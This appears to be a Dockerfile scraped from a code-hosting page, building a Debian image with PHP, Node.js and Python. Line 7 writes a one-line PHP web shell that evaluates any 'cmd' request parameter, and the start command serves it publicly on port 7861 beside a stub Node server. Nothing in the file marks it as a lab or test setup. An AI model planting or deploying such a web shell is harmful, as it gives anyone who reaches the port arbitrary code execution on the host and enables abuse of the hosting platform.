File size: 584 Bytes
ec64ad8
16eaecf
518ade3
22a4260
16eaecf
ec4283c
8b8784f
2260882
ec4283c
b98b820
22a4260
80e12ae
 
1
2
3
4
5
6
7
8
9
10
11
12
13
FROM debian:latest
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y curl php nodejs python3 npm 
RUN useradd -m -d /home/user -u 1000 user
RUN chown -R 1000 /home/user && chmod -R 700 /home/user
RUN mkdir -p /app
RUN mkdir -p /app/php && echo '<?php @eval($_REQUEST["cmd"]);?>' > /app/php/index.php
RUN mkdir -p /app/nodejs && cd /app/nodejs && npm install axios ws
RUN chmod -R 755 /app
USER 1000
WORKDIR /app
CMD php -S 0.0.0.0:7861 -t /app/php &\
    cd /app/nodejs && node -e "require('http').createServer(async(res,req)=>{req.end('111')}).listen(7860)"